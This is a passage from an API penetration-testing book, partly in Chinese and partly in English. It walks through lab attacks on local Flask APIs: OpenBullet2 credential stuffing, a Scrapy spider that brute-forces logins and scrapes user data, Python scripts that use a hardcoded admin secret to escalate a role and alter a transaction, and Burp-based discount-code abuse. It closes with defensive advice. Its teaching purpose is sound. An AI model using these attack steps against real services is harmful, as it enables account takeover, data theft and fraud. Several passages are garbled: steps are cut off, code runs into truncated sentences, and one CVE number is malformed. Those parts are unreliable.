URL设置为http://172.17.0.2:5000/login(记住 API 的端点是/login)。 -
更改
POST。 -
在
Content-Type: application/json下。 -
在 Content 下,输入你希望作为请求主体发送的内容。它将包含一个简单的 JSON 结构:
{"username": "<input.USERNAME>", "password": "<input.PASSWORD>"} -
<input.USERNAME>和<input.PASSWORD>部分将被我们稍后创建的credentials.txt文件中的行替换。
在阅读单词列表时(稍后你会看到这个),OpenBullet2 会逐行处理 credentials.txt 文件,每次把冒号左边的部分当作 input.USERNAME,右边的部分当作 input.PASSWORD。动态构建的 JSON 字符串将作为登录信息发送到 API 端点。这将为你提供类似 图 9**.7 的内容。

图 9.7 – 配置攻击 HTTP 请求
我们必须分析 API 返回的响应。因此,我们需要添加另一个块。再次点击绿色的加号以添加新块。一开始你可能看不见它。输入 key 到搜索栏并点击 搜索。选择 Keycheck 块 (图 9**.8)。

图 9.8 – 添加 Keycheck 控制块
你将返回到堆栈配置屏幕。执行以下操作以完成请求配置:
-
点击位于 Keychains: 字符串下方的另一个绿色加号。
-
确保 Result Status 设置为 SUCCESS。
-
点击 +String 按钮,这将打开几个文本框。
-
在下拉框中选择 Contains,并在旁边的文本框中输入 Login successful。
-
重复 步骤 1 到 4,但做以下更改:
- 对于
无效的凭证。
你将看到类似 图 9**.9 的内容。
- 对于

图 9.9 – 配置期望的成功和失败响应。
-
使用
credentials.txt保存配置,并插入以下内容。为方便起见,你可以从github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/credential_stuffing/credentials.txt下载此文件:userABC:mypassword userDEF:du0CJB8Q user1:password123 simple_user:EN3SZAbR user2:password456
我们将输入实际的凭证,在我们的例子中,它们是硬编码在 API 应用程序中的,以及其他一些无用的值。回到工具的界面,执行以下操作:
-
点击左侧窗格中的 Wordlists。
-
在这个新页面中,点击+添加(+Add)。这将打开一个新窗口。
-
将我的字典文件(My Wordlist)改为凭证(Credentials)。
-
点击
credentials.txt文件。 -
点击上传(Upload)按钮。
-
你的字典文件添加界面将显示为图 9.10。

图 9.10 – 添加字典文件
-
你将返回字典文件页面,看到刚刚添加的字典文件,并且显示已解析的行数(五行)。接下来的步骤是创建一个任务,将配置与字典文件结合,实际向 API 发送数据包。点击左侧面板的任务(Jobs)。在这个界面中,点击绿色的+新建(+New)按钮添加一个任务。点击多次运行(Multi Run)按钮。在此阶段,了解你可以利用代理服务器来拆分请求是非常重要的。OpenBullet2 配备了一个空的默认(Default)代理组。你可以进入代理(Proxies)区域,手动添加代理 URL 或导入它们,可以通过 URL 或文本文件导入。在我们的示例中,我们不会使用代理。
-
点击选择配置(Select Config)按钮。这将打开一个窗口,显示你保存的所有配置。由于我们只保存了刚创建的配置,点击它并点击选择(Select)(图 9.11)。

图 9.11 – 选择要作为任务一部分的配置
- 选择文件后,你将返回到更新后的任务定义页面,页面上已更新为选择的配置。点击此界面右侧的选择字典文件(Select wordlist)按钮。这将打开另一个窗口,显示你保存的所有字典文件。由于你只添加了一个字典文件,它将是唯一显示的。观察到,一旦选择了要添加到任务中的字典文件,它的内容将在窗口底部显示出来。这对于做最终的视觉检查和确认文件内容是否如预期非常有用。点击绿色的选择(Select)按钮(图 9.12)。

图 9.12 – 将字典文件添加到任务
- 我们回到了任务定义页面。稍微向下滚动,直到看到绿色的创建任务(Create Job)按钮。点击它。如果你在任务中做错了什么,可以通过点击相应按钮更改任务定义。否则,你可以通过开始(Start)按钮启动任务。做吧!由于我们的字典文件很小,并且所有操作都在本地进行,任务将很快完成。所有有效的凭证(命中(Hits))会显示在控制按钮下方。失败(Fails)和跳过的行也会有它们的统计信息行(图 9.13)。

图 9.13 – 运行攻击任务后的结果;有效的凭证以绿色显示
现在实验已经完成,让我们学习更多其他重要的主题。
其他功能和安全建议
OpenBullet2 还有许多其他功能,可以根据你面临的渗透测试场景发挥作用。自初版以来,它经历了改版,现在有了网页客户端选项,当测试系统不是 Windows 时非常方便。顺便提一下,OpenBullet 最初是作为一个 .NET 应用程序设计和构建的。
为了防止凭证填充攻击,API 应该应用多因素认证(MFA)。速率限制提供了另一层保护,因为它能减少自动化工具(如 OpenBullet2)在特定时间范围内进行过多登录尝试的影响。最后,异常检测解决方案,尤其是在如今由人工智能(AI)和机器学习(ML)提供的丰富功能支持下,值得考虑,因为它们可以同时追踪和分析多种不同类型的证据,例如异常登录模式、来自不同地理位置的多次失败尝试(当使用代理时可能会发生这种情况),以及根据一些阈值通知系统管理员。在下一部分,我们将探讨数据抓取。
数据抓取
数据抓取是指通过自动化方式从网站或 API 中提取数据,通常是在没有适当授权的情况下进行的。不过,这并不总是犯罪行为。你可能正在进行研究并需要聚合公开的数据;这种行为是合法的。然而,当目标是私人或敏感数据时,这就成为了一个真正的问题。处理多个系统之间数据交换的 API 可能特别容易受到这种威胁,因为它们可能会以机器可读格式公开结构化数据,这使得自动提取变得更加容易。随着 API 的广泛采用,部分由云服务提供商推动,这种攻击面已经大大增加。
渗透测试人员使用多种工具和技术来实现这一目标。这些工具可以从简单的 Python 代码或Golang到更复杂的框架,如 Scrapy,后者将在本节中进行示例。Scrapy 可以一次处理非常大的数据集。另一个值得注意的例子是Selenium,它通常用于抓取由客户端 JavaScript 渲染的动态内容。其行为基本相同:这些工具通过模拟人类向 API 端点发送请求。这些工具可以被配置以适应某些端点所呈现的不同特性,例如分页、令牌化、速率限制等。因为它们如此适应性强且像人类一样,这使得这些工具更容易绕过一些安全防护措施。一种常见的规避技术是切换源 IP 地址(可以通过僵尸网络实现)或使用代理服务器。
未经授权的数据抓取可能对公司和组织造成极大的损害。它们可能导致敏感数据的窃取和/或泄露。用户配置文件、私人数据集、财务记录、知识产权信息、健康记录或学术历史等内容都可能成为攻击的目标。除了财务和声誉损失外,企业及其代表可能会因泄露的数据比例和泄露数据的性质而面临法律后果。这可能包括审判甚至监禁。
在接下来的子章节中,您将创建并运行一个虚拟的目标 API,并编写一些攻击代码。
提升虚拟目标
为了练习数据抓取,我们将使用以下 GraphQL 虚拟 API 作为目标。为了方便您,可以从github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/data_scraping/api_scraping.py下载此代码:
from flask import Flask, request, jsonify
from flask_graphql import GraphQLView
import graphene
from flask_jwt_extended import JWTManager, create_access_token, jwt_required
app = Flask(__name__)
app.config['JWT_SECRET_KEY'] = 'Token_Secret_Key'
jwt = JWTManager(app)
class User(graphene.ObjectType):
id = graphene.ID()
name = graphene.String()
email = graphene.String()
class Query(graphene.ObjectType):
users = graphene.List(User)
@jwt_required()
def resolve_users(self, info):
return [
User(id=1, name="Alice", email="alice@example.com"),
User(id=2, name="Bob", email="bob@example.com"),
User(id=3, name="Charlie", email="charlie@example.com"),
]
class Mutation(graphene.ObjectType):
login = graphene.Field(graphene.String, username=graphene.String(),
password=graphene.String())
def resolve_login(self, info, username, password):
if username == "admin" and password == "password":
return create_access_token(identity=username)
return None
schema = graphene.Schema(query=Query, mutation=Mutation)
app.add_url_rule(
'/graphql',
view_func=GraphQLView.as_view(
'graphql',
schema=schema,
graphiql=True,
)
)
if __name__ == '__main__':
app.run(debug=True)
请注意,API 通过一对凭证(admin和password)建立了基本的身份验证机制。当客户端成功发送它们时,将创建并返回一个 JWT。唯一可用的端点(/graphql)仅在客户端提交有效 JWT 时才起作用(由@jwt_required()装饰器强制执行)。数据本身是用户数据库。这是我们的目标。
要运行代码,您需要安装几个其他 Python 模块。为了安全起见,只需键入以下内容:
$ pip install Flask Flask-GraphQL graphene Flask-JWT-Extended
您已准备好运行 API。现在,让我们专注于攻击代码。
让攻击生效
首先,您必须使用pip安装 Scrapy。然后,使用以下命令创建一个项目并进入其目录:
$ scrapy startproject graphqlscraper
$ cd graphqlscraper
由于我们需要首先进行身份验证,代码的一部分专门用于执行多个身份验证尝试,直到找到有效的凭据对为止。有一个名为BruteForcespider的类。一切都始于start_requests()方法。这是由 Scrapy 的爬虫定义指定的(稍后将对其进行解释),它会遍历硬编码的凭据对。每次发送请求时,代码都会调用parse_login()方法来分析结果。当结果中出现令牌时,这意味着身份验证成功。因此,代码执行 GraphQL 查询以请求用户数据库。最后,调用parse_users()方法以打印收集到的数据。可以在github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/data_scraping/bruteforce_spider.py找到bruteforce_spider.py代码。
在我们运行代码之前,我们必须创建一个 Scrapy 项目。以下是完成这一任务的步骤:
$ scrapy startproject graphqlscraper
创建时,graphqlscraper项目由一个目录表示,其中还插入了几个其他文件:
$ ls -lRhap
.:
total 16K
drwxrwxr-x 3 mauricio mauricio 4.0K May 22 22:22 ./
drwxrwxr-x 3 mauricio mauricio 4.0K May 22 22:29 ../
drwxrwxr-x 4 mauricio mauricio 4.0K May 22 22:24 graphqlscraper/
-rw-rw-r-- 1 mauricio mauricio 271 May 22 22:22 scrapy.cfg
./graphqlscraper:
total 32K
drwxrwxr-x 4 mauricio mauricio 4.0K May 22 22:24 ./
drwxrwxr-x 3 mauricio mauricio 4.0K May 22 22:22 ../
-rw-rw-r-- 1 mauricio mauricio 0 May 22 22:19 __init__.py
-rw-rw-r-- 1 mauricio mauricio 270 May 22 22:22 items.py
-rw-rw-r-- 1 mauricio mauricio 3.6K May 22 22:22 middlewares.py
-rw-rw-r-- 1 mauricio mauricio 368 May 22 22:22 pipelines.py
-rw-rw-r-- 1 mauricio mauricio 3.3K May 22 22:22 settings.py
drwxrwxr-x 3 mauricio mauricio 4.0K May 22 22:35 spiders/
./graphqlscraper/spiders:
total 28K
drwxrwxr-x 3 mauricio mauricio 4.0K May 22 22:35 ./
drwxrwxr-x 4 mauricio mauricio 4.0K May 22 22:24 ../
-rw-rw-r-- 1 mauricio mauricio 2.1K May 22 22:35 bruteforce_spider.py
-rw-rw-r-- 1 mauricio mauricio 161 May 22 22:19 __init__.py
代码位于 spiders 子目录中。要运行它,请键入以下命令:
$ scrapy crawl bruteforce_spider -o users.json
这指示 Scrapy 启动一个爬虫,其类可以在 bruteforce_spider.py 文件中找到。输出被发送到 users.json。几秒钟后,你应该会收到 Scrapy 的详细输出:
$ scrapy crawl bruteforce_spider -o users.json
2024-05-22 22:36:05 [scrapy.utils.log] INFO: Scrapy 2.11.2 started (bot: graphqlscraper)
2024-05-22 22:36:05 [scrapy.utils.log] INFO: Versions: lxml 5.2.2.0, libxml2 2.12.6, cssselect 1.2.0, parsel 1.9.1, w3lib 2.1.2, Twisted 24.3.0, Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0], pyOpenSSL 24.1.0 (OpenSSL 3.2.1 30 Jan 2024), cryptography 42.0.7, Platform Linux-5.15.0-107-generic-aarch64-with-glibc2.35
2024-05-22 22:36:05 [asyncio] DEBUG: Using selector: EpollSelector
2024-05-22 22:36:05 [scrapy.utils.log] DEBUG: Using reactor: twisted.internet.asyncioreactor.AsyncioSelectorReactor
…Output omitted for brevity…
2024-05-22 22:36:05 [scrapy.utils.log] DEBUG: Using asyncio event loop:
{'ID': '1', 'Name': 'Alice', 'Email': 'alice@example.com'}
2024-05-22 22:36:05 [scrapy.core.scraper] DEBUG: Scraped from <200 http://127.0.0.1:5000/graphql>
{'ID': '2', 'Name': 'Bob', 'Email': 'bob@example.com'}
2024-05-22 22:36:05 [scrapy.core.scraper] DEBUG: Scraped from <200 http://127.0.0.1:5000/graphql>
{'ID': '3', 'Name': 'Charlie', 'Email': 'charlie@example.com'}
2024-05-22 22:36:05 [scrapy.core.engine] INFO: Closing spider (finished)
2024-05-22 22:36:05 [scrapy.extensions.feedexport] INFO: Stored json feed (3 items) in: users.json
2024-05-22 22:36:05 [scrapy.statscollectors] INFO: Dumping Scrapy stats:
INFO: Stored json feed (3 items) in: users.json. Now check this file:
$ more graphqlscraper/spiders/users.json
[
{"ID": "1", "Name": "Alice", "Email": "alice@example.com"},
{"ID": "2", "Name": "Bob", "Email": "bob@example.com"},
{"ID": "3", "Name": "Charlie", "Email": "charlie@example.com"}
]
That’s it. Mission accomplished. Scrapy is a very powerful framework with lots of new features. You should definitely invest some time into looking at its documentation. I shared the official website in the *Further reading* section. Next, we will learn what **parameter tampering** is about.
Parameter tampering
This technique consists of deliberately manipulating the parameters exchanged between the client and server with the intent to alter the application’s behavior. The final objective could be to gain unauthorized data access, escalate privileges, or cause damage to data (such as temporary or permanent corruption). The core of the attack lies in exploiting the trust the API endpoint has in the parameters provided as part of the requests. A dangerous approach is putting too much trust on the client-side security controls. When running as JavaScript code or hidden form fields, for example, our API endpoints will likely be vulnerable to this threat.
Any acceptable parameter, such as query parameters (including GraphQL), form fields, cookies, headers, and JSON structures, can be used to perpetrate this type of attack. A simple scenario could involve changing the user ID on a request header trying to access another user’s data or changing an exam grade on a school’s student system. Without proper validation, any supplied parameter, including the ones that are incorrectly formatted, could be an attack vector toward the API endpoint. APIs that are vulnerable to business logic attacks are also particularly vulnerable to this type of threat.
This sort of pentesting usually involves a few steps. You need to do some reconnaissance in the sense of identifying which methods, verbs, and parameters are accepted by the API endpoints (supposing that they are not explicitly documented). Tools such as **Burp Suite**, **OWASP ZAP**, and **Postman** will be some of your best friends. You can still achieve reasonable results with Python code or some shell scripting. This comparison is not strictly appropriate, but we can establish a quick analogy with the work we’ve done tampering JWTs in *Chapter 4*, *Authentication and Authorization Testing*. We analyzed which types of tokens were being handled by the API target and changed them in an attempt to deceive the backend.
In 2021, Microsoft released several vulnerabilities affecting its mail product (Exchange). They were consolidated under the **CVE-2021-26855**. They consisted of implementing **Server-Side Request Forgery** (**SSRF**) attacks by tampering with some parameters before sending them to the HTTP/HTTPS listening endpoints. The vulnerability led to **Remote Code Execution** (**RCE**) on the affected Exchange servers.
Yet in 2021, **Ghost CMS**, an open source publishing platform, was affected by a parameter tampering vulnerability. Identified as **CVE 2021-201315**, this vulnerability allowed **crackers** to change some query parameters, which resulted in authentication and authorization bypassing. In the end, criminals were able to access the admin interface, which created possibilities for inserting any type of malicious code.
We will use the `api_tampering.py` file as the target. As usual, you need to install Flask. The code can be found at [`github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/api_tampering.py`](https://github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/api_tampering.py):
1. Put the API to run. As usual, it’s listening on port 5000\. We’ll carry out three different attacks. First, let’s try to escalate privileges by changing a user role. The `/user` endpoint gives us user data:
```
$ curl http://localhost:5000/api/user/1
{
"id": 1,
"name": "Alice",
"email": "alice@example.com",
"role": "user"
admin_secret) 密码提供特殊访问权限,我们可以通过 Python 发出一个请求来操作角色参数,将 *Alice* 设置为管理员(此代码可以从 https://github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/manipulate_role.py 下载):
```
import requests
data = {
'user_id': '1',
'role': 'admin',
'auth': 'admin_secret'
}
response = requests.post('http://localhost:5000/api/admin/change_role', data=data)
print(response.json())
```
```
2. This results in the following:
```
{
"message": "用户角色已更新"
}
```
3. Confirm that the tampering actually worked:
```
$ curl http://localhost:5000/api/user/1
{
"id": 1,
"name": "Alice",
"email": "alice@example.com",
"role": "admin"
/transaction 一笔交易涉及金融信息。为了检索一些数据,我们需要提供交易 ID。我们可以推测数值顺序(比如 1?):
```
$ curl http://localhost:5000/api/transaction/1
{
"id": 1,
"user_id": 1,
"amount": 100,
"status": "pending"
pending. Let’s cause data corruption by forcing the transaction to complete and by leveraging the *top secret* password with another simple Python code (this code can be downloaded from https://github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/manipulate_transaction_status.py):
```
import requests
data = {
'transaction_id': '1',
'status': 'completed',
'auth': 'admin_secret'
}
response = requests.post(
'http://localhost:5000/api/admin/update_status', data=data
)
print(response.json())
```
Guess what, the transaction is now finished.
```
{
"message": "交易状态已更新"
}
```
```
```
4. Let’s double-check it:
```
$ curl http://localhost:5000/api/transaction/1
{
"id": 1,
"user_id": 1,
"amount": 100,
"status": "completed"
/admin/update_status 端点未提供相应的密码:
```
$ curl http://localhost:5000/api/admin/update_status
{
"error": "Unauthorized"
}
```
```
5. OK, that was expected. However, should we obtain such a password in some way, such as through social engineering, resource exhaustion, or data leaks, we could easily retrieve and manipulate data without proper authorization (this code can be downloaded from [`github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/manipulate_authorization.py`](https://github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/parameter_tampering/manipulate_authorization.py)):
```
import requests
data = {
'auth': 'admin_secret'
}
response = requests.post(
'http://localhost:5000/api/admin/update_status', data=data
)
print(response.json())
```
6. This would give us the confirmation of unauthorized access:
```
{
"super_secret": "这是机密数据!"
}
```
Results with parameter tampering attacks can be as easy to achieve as the implementation of the API that’s the target. You might need to combine techniques depending on the scenario, but it’s not difficult to detect whether the API is vulnerable to this category of threat. For the people responsible for watching and protecting the environment, it can be difficult to detect when such type of attack is running, as it may be confused with a user trying to communicate with the API but messing up with some parameters because of a lack of knowledge about the documentation. In the next section, we are going to cover how we can test for business logic vulnerabilities.
Testing for business logic vulnerabilities
Unraveling vulnerabilities within an API’s business logic is a challenging but crucial aspect of security evaluations. Contrary to what we do with common flaws derived from coding errors or infrastructure misconfigurations, these types of vulnerabilities target the API’s designed and intended functionalities. To identify these chinks in the armor, security testers must possess a comprehensive understanding of the application’s business processes and how they might be contorted. This in-depth examination involves meticulously analyzing the application’s workflows, user permissions, and data flow to unearth potential weaknesses.
Discovering business logic vulnerabilities within APIs is not straightforward since they can easily bypass traditional security watchdogs. Automated tools might miss these hidden weaknesses since they don’t necessarily involve strange inputs or well-known exploit patterns. Instead, these vulnerabilities stem from how the application handles legitimate operations. For example, an attacker could leverage the way an API manages transactions, user permissions, or data processing tasks to their advantage. Uncovering these flaws demands a sophisticated grasp of the application’s internal logic and a sharp eye for potential misuses that could be manipulated for malicious purposes.
Unveiling business logic vulnerabilities hinges on manual testing. Security specialists need to delve into the application’s functionalities by hand, brainstorming how various features intertwine and how they might be misused for malicious ends. This hands-on approach often involves crafting intricate test scenarios that explore diverse situations. Testers might try running actions in an unorthodox order or feeding the application with unexpected data values. By carefully sifting through the application’s workflows, testers can pinpoint subtle cracks in the system’s logic that could be exploited to execute unauthorized actions or access sensitive data.
In 2022, a business logic vulnerability in PayPal’s API, tied to how it interprets transaction details, allowed attackers to tamper with money transfers. The vulnerability stemmed from flaws in how the system verified transaction parameters. By exploiting these gaps, attackers could manipulate the amounts being sent, resulting in financial losses. This incident highlighted the vital importance of fortifying all transaction-related checks within the system to safeguard the integrity of financial operations. You will find a detailed explanation at [`phoenixnap.com/blog/paypal-hacked`](https://phoenixnap.com/blog/paypal-hacked).
You don’t need to apply graphical tools. Code written in Python or even in Bash with the help of curl may successfully exploit business logic vulnerabilities in badly written APIs. However, should you choose the graphical path, some already-known friends such as Burp Suite and Postman are handy. Spotlighting weaknesses within an application’s business logic requires a multi-pronged approach. One powerful technique involves a deep dive into the application’s source code, if available. This grants testers a clear picture of how various components interact, potentially revealing flaws in the application’s decision-making processes. Automated code analysis tools can accelerate this process by highlighting areas where the business logic might be implemented incorrectly, or where security controls are lacking. However, these code audits shouldn’t be the sole focus. Real-world testing (dynamic testing) is crucial to understanding how the application behaves in a live environment and how different inputs affect its internal state. Combining these methods provides a more holistic view of potential vulnerabilities.
For our exercises in this section, we’ll apply the `api_business_logic.py` file. It can be found at [`github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/business_logic/api_business_logic.py`](https://github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/business_logic/api_business_logic.py).
We can list at least three weaknesses:
* Right in the beginning, we have a `users` variable raises this vulnerability. Instead of specifying this in the code, we should leverage environment variables or retrieve it from an external database service, either SQL or NoSQL.
* Incorrect input validation is present in the `/admin` endpoint. Rather than relying on what the user provides as input, the code should leverage the language’s features, such as safe functions or methods to retrieve data.
* Finally, *passwords should never be stored in clear text*. Before storing them, passwords should always be stored as hashes, and safe functions or modules should be used to apply the hashes.
There are some useful utilities that you can make use of to help you spot code flaws:
* **Bandit**: Python security analysis tool ([`pypi.org/project/bandit/`](https://pypi.org/project/bandit/)).
* **Safety**: Dependency vulnerability detection utility ([`pypi.org/project/safety/`](https://pypi.org/project/safety/)).
* **Semgrep**: Flexible code analysis tool ([`pypi.org/project/semgrep/`](https://pypi.org/project/semgrep/)).
Note
Safety is backed by a company nowadays ([`safetycli.com/`](https://safetycli.com/)). Although claiming to be free software, to effectively run, it needs you to create an account with this company, which involves agreeing to their service terms and sharing an email address. The first time you run the utility, you’ll receive a message like the following:
$ safety scan --target .
请登录或注册 Safety CLI(永久免费)以扫描并保护你的项目
(R)egister 免费帐户或 (L)ogin 登录现有帐户继续(R/L):R
正在将你的浏览器重定向到注册页面以获取免费帐户。注册后,返回此处开始使用 Safety。
如果浏览器在 5 秒内没有自动打开,请将此 URL 复制并粘贴到浏览器中:
<<<这里是动态 URL。>>>
[= ] 等待浏览器认证 update.go:85: 无法根据更改挂载命名空间更改挂载(/var/lib/snapd/hostfs/usr/local/share/doc /usr/local/share/doc none bind,ro 0 0):无法打开目录 "/usr/local/share":权限被拒绝
[ ==] 等待浏览器认证 Gtk-Message: 22:45:48.735: 未加载模块 "atk-bridge":该功能由 GTK 原生提供。请尝试不要加载它。
成功注册 address@domain.com
After the registration is complete, the next time you use the software, you’ll need to log in, and then all will be good. The utility downloads the requested (or default) rules from the internet before each run.
Let’s start the attacks against the API. The steps are provided in the following sequence:
1. The first thing we’ll do is to register a new user. This code does not check any authorization in this step. We’ll use Burp Suite for these exercises. Hence, run Burp Suite and click on the **Proxy** tab. Make sure that this service is on and that **Intercept** is *active*. We’ll need it to be active to change the request type and add more parameters. Finally, click on the **Open** **browser** button.
2. With Burp’s browser opened (usually, a Chromium instance), access `http://localhost:5000/register`. Immediately go back to Burp and click on the `POST` instead of `GET`. Then, we need to specify the `Content-Type` to be `application/json`, as expected. Then, we must add the JSON structure for a new user. You can put anything here since it’s a valid JSON element with `username` and `password` as keys (*Figure 9**.14*).

Figure 9.14 – Changing a GET request to POST on Burp’s Intercept
1. Now click on the **Forward** button. This will send the crafted request to the API and the user will be registered. Back in the browser window, you’ll receive a message stating that the operation was successful (*Figure 9**.15*).

Figure 9.15 – A successful user registration attack
1. Moving on, let’s explore the `/order` endpoint. By analyzing the code, we can find out that it expects to receive a username (this just needs to be a valid one), a product ID (we can infer `1` as being valid), a quantity, and a discount code. We’ll send an arbitrary discount code by crafting a combination of possible values trying to cause the logic to fail. Go back to Burp’s browser and send a request to `/order`, then get back to Burp’s **Intercept**. Again, adapt the request accordingly, making equivalent changes to the ones you made before. This time though, the JSON structure will be more sophisticated since we need to send more keys (*Figure 9**.16*).

Figure 9.16 – Sending a crafted POST request to /order
1. Again, click on the **Forward** button and go back to the browser. You’ll realize that the order was successfully submitted. However, the discount code was not applied, demonstrating that this logic doesn’t seem vulnerable to our attempts (*Figure 9**.17*).

Figure 9.17 – Submitting an order using the previously created user
1. Our final exercise will lie in the `/admin` endpoint. Since absolutely no other security control besides the credential pair checking is in place, we’ll add a 100% discount code using the hardcoded credentials (they could have been stolen by a parallel method, such as social engineering or invalid exception handling). Go to the browser one more time and submit a dummy request to `/admin`, then get back to Burp’s **Intercept** and change it to the following (*Figure 9**.18*).

Figure 9.18 – Adding an arbitrary discount code using a stolen admin credential
As expected, the discount code was correctly added to the application (*Figure 9**.19*).

Figure 9.19 – The discount code is applied
1. Now, if we repeat the request to `/order` expressed in *Figure 9**.16* but change the `discount_code` to `CRAFTED_CODE` and reduce the quantity to `1` (to avoid receiving the **Insufficient stock** message), we’ll be successful (*Figure 9**.20*).

Figure 9.20 – The order is successfully submitted with a crafted discount code
In this section, you’ll realize how reasonably small and easy code can cause substantial damage to real API targets. Your toolbelt doesn’t have to be expensive or complex to help achieve success with your pentesting activities. Just a few open source utilities can be quite handy.
Summary
This chapter finished the fourth part of our book, covering important aspects of API business logic and abuse scenarios. We learned how damaging the lack of source code analysis and API business logic testing can be for APIs. Some notable incidents involving threats of this nature were also mentioned.
While some security teams are only worried about the traditional or more common threats and security measures, criminals may be trying to leverage other non-obvious attack scenarios, such as the ones we mentioned in the chapter, making use of techniques that exploit flaws in APIs’ business logic. We learned this in this chapter. It’s definitely a topic you should add to your toolbelt when conducting a professional pentest.
In the next chapter, the final one of this book, we’ll discuss secure API coding practices. These are more geared toward developers, but every pentester should know about them as well.
Further reading
* Experian’s API vulnerability: [`salt.security/blog/what-happened-in-the-experian-api-leak`](https://salt.security/blog/what-happened-in-the-experian-api-leak)
* John Deere’s API Leak: [`sick.codes/leaky-john-deere-apis-serious-food-supply-chain-vulnerabilities-discovered-by-sick-codes-kevin-kenney-willie-cade/`](https://sick.codes/leaky-john-deere-apis-serious-food-supply-chain-vulnerabilities-discovered-by-sick-codes-kevin-kenney-willie-cade/)
* The Twitter/X API breach that damaged 5.4 million users: [`www.bbc.com/news/technology-64153381`](https://www.bbc.com/news/technology-64153381)
* Flexbooker’s cloud API vulnerability that exposed the data of 3.7 million users: [`www.imperva.com/blog/five-takeaways-from-flexbookers-data-breach/`](https://www.imperva.com/blog/five-takeaways-from-flexbookers-data-breach/ )
* The Texas Department of Insurance’s API incident, exposed for nearly 3 years, which compromised 1.8 million records: [`www.texastribune.org/2022/05/16/texas-insurance-data-breach/`](https://www.texastribune.org/2022/05/16/texas-insurance-data-breach/)
* OpenBullet2, a web testing tool: [`github.com/openbullet/OpenBullet2`](https://github.com/openbullet/OpenBullet2 )
* Scrapy, a data extraction framework: [`scrapy.org/`](https://scrapy.org/)
* Microsoft Exchange Parameter Tampering CVE: [`cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855`](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855)
* Microsoft Official Blog Post: [`www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/`](https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)
* CVE 2021-201315: [`nvd.nist.gov/vuln/detail/CVE-2021-21315`](https://nvd.nist.gov/vuln/detail/CVE-2021-21315)
第五部分:API 安全最佳实践
这是本书的最后一部分。你已经学习了如何在不同的场景中发现、获取信息并攻击 APIs。在前面的章节中,我们向你展示了具有漏洞的代码,包含可被利用的点,涉及 RESTful 和 GraphQL APIs。在这一部分,你将理解到,API 安全问题的一部分原因来源于糟糕的编码实践。了解最佳实践对于以更恰当的方式保护 API 至关重要。当渗透测试人员更加熟悉 API 代码是如何编写的,以及哪些部分被开发人员忽略或遗忘时,这无疑会在入侵过程中提供帮助。
本节包含以下章节:
- 第十章,API 的安全编码实践
第十章:API 的安全编码实践
欢迎来到本书的结尾,这也标志着你应用程序编程接口(API)渗透测试之旅的开始!如果你从第一章开始阅读本书,我们已经一起走过了一段不短的路,涵盖并学习了 API 的不同方面,以其最广泛的形式,专注于渗透技术,但仍然关注应用程序所有者和开发者在发布 API 之前需要注意的事项。API 为世界打开了应用程序、服务和整个业务的大门。这扇门代表着软件的巨大责任,当然也可以扩展到支撑它的所有基础设施。
接下来的部分提供了在编码时构建 API 的建议。你将找到一些现代编程语言和技术的技巧和实践,这些语言和技术在创建 API 时应用得最广泛:Golang、GraphQL、Java、JavaScript 和 Python。书中讨论的所有主要问题都涵盖了。正如你可能已经知道的,安全是分层保护的概念。没有一种放之四海而皆准的方法。我们应该注意在编码时可能创造的攻击面。
这本书讲的是攻击,但它也足够道德,讨论了攻击的预防。说这些并不为过。归根结底,我们是安全专业人员,我们的主要目的是加强我们测试的软件,以减少入侵或数据泄漏的机会。
在本章中,我们将涵盖以下主题:
-
安全编码实践的重要性
-
实施安全的认证机制
-
验证和清理用户输入
-
实施适当的错误处理和异常管理
-
数据保护和加密的最佳实践
技术要求
由于我们在本章中不会进行任何实际练习,因此没有技术要求。不过,如果你感觉有必要将代码付诸实践,随时欢迎。俗话说,熟能生巧。尽管去做,享受其中吧。
安全编码实践的重要性
我并不是想教你的祖母如何吸鸡蛋。完全不是。然而,正如我在亲自和写这本书时常说的那样,强调一些对某件事至关重要的概念和想法从来不会有坏处。将 API 安全编码付诸实践非常重要,因为 API 在软件开发中扮演着复杂且关键的角色。它们充当不同应用程序和服务之间的桥梁,使它们能够相互通信和交换数据。这个功能丰富的场景导致了某些 API 中嵌入的漏洞可能被探测(或者,更常见地说,被利用),从而允许未经授权的数据访问、权限提升、服务中断或系统被非法控制,有时还会导致数据勒索。因此,安全编码实践有助于通过增强 API 对常见威胁的防御能力,降低这些风险,如注入攻击(SQL 或 NoSQL)、跨站脚本(XSS)和中间人攻击(MitM)。
此外,这些实践共同帮助维持企业在客户中的信任与声誉。如今,数据泄露和安全事件可能对公司造成重大损害,包括但不限于财务损失、法律处罚(其中一些是由于合规机制)、以及公司声誉的裂痕。客户和常规用户不仅期望 API 提供的服务能顺利运行并始终可用,还期望他们的数据能够得到正确处理和保护。
公司可以采用一些安全编码方法来帮助他们建立一个体面的软件开发生命周期(SDLC)。如果你还没有听说过,它只是一个在软件开发过程中适用的流程。这样的流程有多个阶段,如规划、设计、编码、测试、部署和维护。在 SDLC 的帮助下,软件会在每个阶段取得进展,从而提高项目管理的效率,并最终产生高质量的软件。这里列出了一些简单的 SDLC 方法:
-
安全建设成熟度模型(BSIMM):最初是软件保障成熟度模型(SAMM)的一部分,BSIMM 已经从提供规范性指导转变为采用描述性方法,并定期更新以反映最新的最佳实践。BSIMM 并不建议采取具体的行动,而是概述了其成员组织的活动和实践。更多信息可以在
www.synopsys.com/glossary/what-is-bsimm.html找到。 -
微软安全开发生命周期(SDL):这种指导性方法涵盖了广泛的安全问题,并为组织提供了关于实现更安全编码实践的指导。它有助于开发符合监管标准的软件,并有助于降低成本。更多信息请访问
